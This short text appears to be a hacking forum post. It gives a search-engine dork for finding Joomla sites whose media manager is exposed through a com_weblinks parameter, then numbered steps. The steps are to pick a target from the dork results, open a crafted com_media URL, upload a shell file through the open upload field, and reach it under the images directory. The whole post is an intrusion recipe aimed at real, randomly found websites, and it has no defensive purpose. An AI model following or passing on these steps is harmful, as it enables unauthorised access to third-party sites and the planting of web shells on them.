Dork

Dork : allinurl:/index.php?option e_name jform_description asset=com_weblinks

Step by step :
1 Select A Website From The Dork Above

2 http://localhost / site/index.php?option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author=option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author=

3 Just Upload your Shell or Txt or Image to Upload Field

4 Shell Directory : http://localhost/site/images/shell.txt